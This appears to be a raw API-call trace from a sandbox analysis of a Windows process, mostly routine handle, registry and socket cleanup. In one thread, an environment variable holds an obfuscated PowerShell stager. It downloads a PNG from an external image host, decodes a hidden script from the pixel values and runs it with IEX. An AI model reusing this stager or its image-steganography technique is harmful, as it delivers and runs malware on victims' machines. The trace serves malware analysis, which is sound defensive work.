	[0064.502] RegCloseKey (hKey=0x314) returned 0x0
	[0064.502] RegCloseKey (hKey=0x310) returned 0x0
	[0064.502] LocalFree (hMem=0x2b7540) returned 0x0
	[0064.502] RegCloseKey (hKey=0x338) returned 0x0
	[0065.672] RegCloseKey (hKey=0x37c) returned 0x0
	[0065.672] RegCloseKey (hKey=0x378) returned 0x0
	[0065.672] RegCloseKey (hKey=0x374) returned 0x0
	[0065.672] RegCloseKey (hKey=0x370) returned 0x0
	[0065.673] RegCloseKey (hKey=0x36c) returned 0x0
	[0065.673] RegCloseKey (hKey=0x368) returned 0x0
	[0065.673] RegCloseKey (hKey=0x364) returned 0x0
	[0065.673] RegCloseKey (hKey=0x3ac) returned 0x0
	[0065.673] RegCloseKey (hKey=0x3a8) returned 0x0
	[0065.674] RegCloseKey (hKey=0x354) returned 0x0
	[0065.674] RegCloseKey (hKey=0x350) returned 0x0
	[0065.674] RegCloseKey (hKey=0x34c) returned 0x0
	[0065.674] RegCloseKey (hKey=0x348) returned 0x0
	[0065.675] RegCloseKey (hKey=0x344) returned 0x0
	[0065.675] RegCloseKey (hKey=0x340) returned 0x0
	[0065.675] RegCloseKey (hKey=0x32c) returned 0x0
	[0065.675] RegCloseKey (hKey=0x314) returned 0x0
	[0065.676] RegCloseKey (hKey=0x310) returned 0x0
	[0065.676] RegCloseKey (hKey=0x3a4) returned 0x0
	[0065.676] RegCloseKey (hKey=0x3a0) returned 0x0
	[0065.676] RegCloseKey (hKey=0x380) returned 0x0
	[0065.676] RegCloseKey (hKey=0x3b4) returned 0x0
	[0065.677] RegCloseKey (hKey=0x398) returned 0x0
	[0065.677] RegCloseKey (hKey=0x394) returned 0x0
	[0065.677] RegCloseKey (hKey=0x390) returned 0x0
	[0065.677] RegCloseKey (hKey=0x38c) returned 0x0
	[0065.678] RegCloseKey (hKey=0x388) returned 0x0
	[0065.678] RegCloseKey (hKey=0x384) returned 0x0
	[0065.678] RegCloseKey (hKey=0x360) returned 0x0
	[0065.678] RegCloseKey (hKey=0x3b0) returned 0x0
	[0065.678] RegCloseKey (hKey=0x338) returned 0x0
	[0067.131] RegCloseKey (hKey=0x340) returned 0x0
	[0072.856] CloseHandle (hObject=0x480) returned 1
	[0072.857] CloseHandle (hObject=0x47c) returned 1
	[0072.857] CertFreeCRLContext (pCrlContext=0x284bc60) returned 1
	[0072.858] CertFreeCRLContext (pCrlContext=0x1c7be4a0) returned 1
	[0072.859] CertFreeCRLContext (pCrlContext=0x284bb60) returned 1
	[0072.860] CertFreeCRLContext (pCrlContext=0x1c7be520) returned 1
	[0072.860] CloseHandle (hObject=0x4e8) returned 1
	[0072.860] CloseHandle (hObject=0x41c) returned 1
	[0072.860] CloseHandle (hObject=0x418) returned 1
	[0072.861] CertCloseStore (hCertStore=0x3121e0, dwFlags=0x0) returned 1
	[0072.861] CloseHandle (hObject=0x3c8) returned 1
	[0072.862] CloseHandle (hObject=0x3c4) returned 1
	[0072.862] CloseHandle (hObject=0x3c0) returned 1
	[0072.862] CloseHandle (hObject=0x3bc) returned 1
	[0072.863] CertFreeCRLContext (pCrlContext=0x284bb60) returned 1
	[0072.864] CloseHandle (hObject=0x39c) returned 1
	[0072.864] CloseHandle (hObject=0x4dc) returned 1
	[0072.864] CloseHandle (hObject=0x374) returned 1
	[0072.864] CloseHandle (hObject=0x370) returned 1
	[0072.865] CloseHandle (hObject=0x36c) returned 1
	[0072.865] CloseHandle (hObject=0x368) returned 1
	[0072.866] CloseHandle (hObject=0x4e4) returned 1
	[0072.866] CloseHandle (hObject=0x364) returned 1
	[0072.866] CloseHandle (hObject=0x3a8) returned 1
	[0072.867] CloseHandle (hObject=0x3ac) returned 1
	[0072.867] CertFreeCRLContext (pCrlContext=0x284bbe0) returned 1
	[0072.867] CloseHandle (hObject=0x340) returned 1
	[0074.196] LocalFree (hMem=0x2a7ee0) returned 0x0
	[0074.197] LocalFree (hMem=0x2a7dd0) returned 0x0
	[0074.198] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x31a99d8, cbSid=0x1b59f0d0 | out: pSid=0x31a99d8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b59f0d0) returned 1
	[0074.198] CreateMutexW (lpMutexAttributes=0x31a9b90, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3f0
	[0074.198] WaitForSingleObject (hHandle=0x3f0, dwMilliseconds=0x1f4) returned 0x0
	[0074.198] ReleaseMutex (hMutex=0x3f0) returned 1
	[0074.198] CloseHandle (hObject=0x3f0) returned 1
	[0074.199] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x31a9ee8, cbSid=0x1b59f0d0 | out: pSid=0x31a9ee8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b59f0d0) returned 1
	[0074.199] CreateMutexW (lpMutexAttributes=0x31aa0a0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3f0
	[0074.199] WaitForSingleObject (hHandle=0x3f0, dwMilliseconds=0x1f4) returned 0x0
	[0074.199] ReleaseMutex (hMutex=0x3f0) returned 1
	[0074.199] CloseHandle (hObject=0x3f0) returned 1
	[0074.199] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x31aa3f8, cbSid=0x1b59f0d0 | out: pSid=0x31aa3f8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b59f0d0) returned 1
	[0074.199] CreateMutexW (lpMutexAttributes=0x31aa5b0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3f0
	[0074.199] WaitForSingleObject (hHandle=0x3f0, dwMilliseconds=0x1f4) returned 0x0
	[0074.199] ReleaseMutex (hMutex=0x3f0) returned 1
	[0074.199] CloseHandle (hObject=0x3f0) returned 1
	[0074.200] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x31aa908, cbSid=0x1b59f0d0 | out: pSid=0x31aa908*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b59f0d0) returned 1
	[0074.200] CreateMutexW (lpMutexAttributes=0x31aaac0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3f0
	[0074.200] WaitForSingleObject (hHandle=0x3f0, dwMilliseconds=0x1f4) returned 0x0
	[0074.200] ReleaseMutex (hMutex=0x3f0) returned 1
	[0074.200] CloseHandle (hObject=0x3f0) returned 1
	[0074.200] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x31aae18, cbSid=0x1b59f100 | out: pSid=0x31aae18*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b59f100) returned 1
	[0074.200] CreateMutexW (lpMutexAttributes=0x31aafd0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x3f0
	[0074.200] WaitForSingleObject (hHandle=0x3f0, dwMilliseconds=0x1f4) returned 0x0
	[0074.200] ReleaseMutex (hMutex=0x3f0) returned 1
	[0074.201] CloseHandle (hObject=0x3f0) returned 1
	[0074.202] DeleteAtom (nAtom=0xc000) returned 0x0
	[0074.206] FindAtomW (lpString="GDI+Atom_2960_1") returned 0x0
	[0074.211] DeregisterEventSource (hEventLog=0x1b890008) returned 1
	[0074.226] FindAtomW (lpString="GDI+Atom_2960_1") returned 0x0
	[0074.231] setsockopt (s=0x4ec, level=65535, optname=128, optval="\x01", optlen=4) returned 0
	[0074.231] closesocket (s=0x4ec) returned 0
	[0074.252] setsockopt (s=0x500, level=65535, optname=128, optval="\x01", optlen=4) returned -1
	[0074.252] closesocket (s=0x500) returned 0
	[0074.252] CloseHandle (hObject=0x504) returned 1
	[0074.253] CloseHandle (hObject=0x468) returned 1
	[0074.253] CloseHandle (hObject=0x464) returned 1
	[0074.253] RegCloseKey (hKey=0x460) returned 0x0
	[0074.254] CloseHandle (hObject=0x45c) returned 1
	[0074.254] RegCloseKey (hKey=0x458) returned 0x0
	[0074.254] UnmapViewOfFile (lpBaseAddress=0x1b500000) returned 1
	[0074.255] CloseHandle (hObject=0x424) returned 1
	[0074.255] CloseHandle (hObject=0x32c) returned 1
	[0074.255] CloseHandle (hObject=0x314) returned 1
	[0074.255] CloseHandle (hObject=0x454) returned 1
	[0074.256] CloseHandle (hObject=0x310) returned 1
	[0074.256] UnmapViewOfFile (lpBaseAddress=0x1b4d0000) returned 1
	[0074.256] RegCloseKey (hKey=0x450) returned 0x0
	[0074.257] CloseHandle (hObject=0x3a4) returned 1
	[0074.257] CloseHandle (hObject=0x3a0) returned 1
	[0074.257] CloseHandle (hObject=0x380) returned 1
	[0074.257] CloseHandle (hObject=0x3b4) returned 1
	[0074.257] CloseHandle (hObject=0x398) returned 1
	[0074.258] CloseHandle (hObject=0x394) returned 1
	[0074.258] CloseHandle (hObject=0x390) returned 1
	[0074.258] CloseHandle (hObject=0x38c) returned 1
	[0074.258] CloseHandle (hObject=0x388) returned 1
	[0074.258] CloseHandle (hObject=0x384) returned 1
	[0074.259] CloseHandle (hObject=0x360) returned 1
	[0074.259] CloseHandle (hObject=0x3b0) returned 1
	[0074.259] RegCloseKey (hKey=0x44c) returned 0x0
	[0074.259] CloseHandle (hObject=0x434) returned 1
	[0074.260] setsockopt (s=0x42c, level=65535, optname=128, optval="\x01", optlen=4) returned -1
	[0074.260] closesocket (s=0x42c) returned 0
	[0074.260] CloseHandle (hObject=0x430) returned 1
	[0074.260] setsockopt (s=0x420, level=65535, optname=128, optval="\x01", optlen=4) returned -1
	[0074.260] closesocket (s=0x420) returned 0
	[0074.261] CloseHandle (hObject=0x428) returned 1
	[0074.261] setsockopt (s=0x4f8, level=65535, optname=128, optval="\x01", optlen=4) returned -1
	[0074.261] closesocket (s=0x4f8) returned 0
	[0074.261] CloseHandle (hObject=0x4e0) returned 1
	[0074.261] RegCloseKey (hKey=0x6e0) returned 0x0
	[0074.262] DeleteSecurityContext (phContext=0x1b59ee30) returned 0x0
	[0074.262] FreeCredentialsHandle (phCredential=0x1b59ee60) returned 0x0
	[0074.262] CloseHandle (hObject=0x6dc) returned 1
	[0074.263] CloseHandle (hObject=0x480) returned 1
	[0074.263] CloseHandle (hObject=0x47c) returned 1
	[0074.263] CloseHandle (hObject=0x4e8) returned 1
	[0074.264] CloseHandle (hObject=0x41c) returned 1
	[0074.264] CloseHandle (hObject=0x418) returned 1
	[0074.264] CloseHandle (hObject=0x3c8) returned 1
	[0074.264] CloseHandle (hObject=0x3c4) returned 1
	[0074.265] CloseHandle (hObject=0x3c0) returned 1
	[0074.265] CloseHandle (hObject=0x3bc) returned 1
	[0074.265] CloseHandle (hObject=0x39c) returned 1
	[0074.265] CloseHandle (hObject=0x4dc) returned 1
	[0074.265] CloseHandle (hObject=0x374) returned 1
	[0074.266] CloseHandle (hObject=0x3) returned 1
	[0074.266] CloseHandle (hObject=0x328) returned 1
	[0074.266] RegCloseKey (hKey=0xffffffff80000004) returned 0x0
	[0074.267] CloseHandle (hObject=0x2f8) returned 1
	[0074.267] UnmapViewOfFile (lpBaseAddress=0x29f0000) returned 1
	[0074.267] CloseHandle (hObject=0x334) returned 1

Thread:
	id = 109
	os_tid = 0xbe8

	[0066.673] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0066.677] SetThreadUILanguage (LangId=0x0) returned 0x7fffff00409
	[0066.679] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.679] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.679] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.683] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.683] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.683] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.684] VirtualQuery (in: lpAddress=0x1c69dda0, lpBuffer=0x1c69ec60, dwLength=0x30 | out: lpBuffer=0x1c69ec60*(BaseAddress=0x1c69d000, AllocationBase=0x1bd10000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0066.688] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.688] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.688] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.690] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.690] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.691] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.693] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.693] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.693] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.701] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.701] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.701] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.703] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.703] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.704] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.705] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.705] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.705] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.717] VirtualQuery (in: lpAddress=0x1c69e050, lpBuffer=0x1c69ef10, dwLength=0x30 | out: lpBuffer=0x1c69ef10*(BaseAddress=0x1c69e000, AllocationBase=0x1bd10000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0066.718] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.718] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.718] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.720] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.720] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.720] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.721] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.721] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.721] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.722] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.722] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.722] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.726] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.726] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.726] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.772] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.772] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.773] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.774] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.774] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.774] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.775] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.775] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.775] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.778] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.778] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.778] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.779] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.779] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.780] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.781] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.781] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.781] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.782] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.782] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.782] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.797] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.797] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.797] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.814] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.814] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.814] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.815] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.815] GetEnvironmentVariableW (in: lpName="ComsPec", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0066.815] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.822] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.822] GetEnvironmentVariableW (in: lpName="ComsPec", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0066.822] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.855] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.855] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.855] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.860] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.860] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.860] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.864] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.864] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.864] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.919] SetEvent (hEvent=0x3b0) returned 1
	[0066.919] SetEvent (hEvent=0x360) returned 1
	[0066.919] SetEvent (hEvent=0x384) returned 1
	[0066.973] VirtualQuery (in: lpAddress=0x1c69d670, lpBuffer=0x1c69e530, dwLength=0x30 | out: lpBuffer=0x1c69e530*(BaseAddress=0x1c69d000, AllocationBase=0x1bd10000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0066.979] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.979] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.979] CoTaskMemFree (pv=0x2a7ff0) 
	[0066.996] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0066.996] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0066.996] CoTaskMemFree (pv=0x2a7ff0) 
	[0067.052] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0067.053] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0067.053] CoTaskMemFree (pv=0x2a7ff0) 
	[0067.054] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0067.054] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0067.054] CoTaskMemFree (pv=0x2a7ff0) 
	[0067.209] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0067.209] GetEnvironmentVariableW (in: lpName="sULrV", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x330
	[0067.209] CoTaskMemFree (pv=0x2a7ff0) 
	[0067.209] CoTaskMemAlloc (cb=0x664) returned 0x261950
	[0067.209] GetEnvironmentVariableW (in: lpName="sULrV", lpBuffer=0x261950, nSize=0x330 | out: lpBuffer=". ( $sHelLId[1]+$shELlId[13]+'X') (('s'+'al f'+'r'+' N'+'ew-Objec'+'t'+';'+'A'+'dd-T'+'ype -As'+'sembly'+'Name 9axSystem.Dra'+'w'+'ing9ax;'+'v6Qds'+'=fr Syste'+'m.'+'Drawin'+'g.B'+'itmap((fr Net.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'));'+'v6Q'+'mk=fr By'+'t'+'e[] '+'2140;(0.'+'.4)b'+'S'+'j%{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'};'+'I'+'EX('+'[Syst'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk[0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',[sTRInG][ChAr]34).ReplaCE(([ChAr]98+[ChAr]83+[ChAr]106),[sTRInG][ChAr]124).ReplaCE(([ChAr]118+[ChAr]54+[ChAr]81),[sTRInG][ChAr]36))") returned 0x32f
	[0067.209] CoTaskMemFree (pv=0x261950) 
	[0067.210] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c69d550, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0067.210] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c69d4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0067.210] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c69d4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0067.478] VirtualQuery (in: lpAddress=0x1c69ce50, lpBuffer=0x1c69dd10, dwLength=0x30 | out: lpBuffer=0x1c69dd10*(BaseAddress=0x1c69c000, AllocationBase=0x1bd10000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0067.488] CoTaskMemAlloc (cb=0x104) returned 0x2a7ff0
	[0067.488] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0067.488] CoTaskMemFree (pv=0x2a7ff0) 
	[0067.608] VirtualQuery (in: lpAddress=0x1c69c760, lpBuffer=0x1c69d620, dwLength=0x30 | out: lpBuffer=0x1c69d620*(BaseAddress=0x1c69c000, AllocationBase=0x1bd10000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0067.645] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7ff0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0067.645] CoTaskMemFree (pv=0x2a7ff0) 
	[0067.720] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1c69cb10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86
	[0067.720] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1c69ca60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86
	[0067.721] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1c69ca60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86
	[0067.721] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c69ca20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0067.722] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c69c970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0067.722] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c69c970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
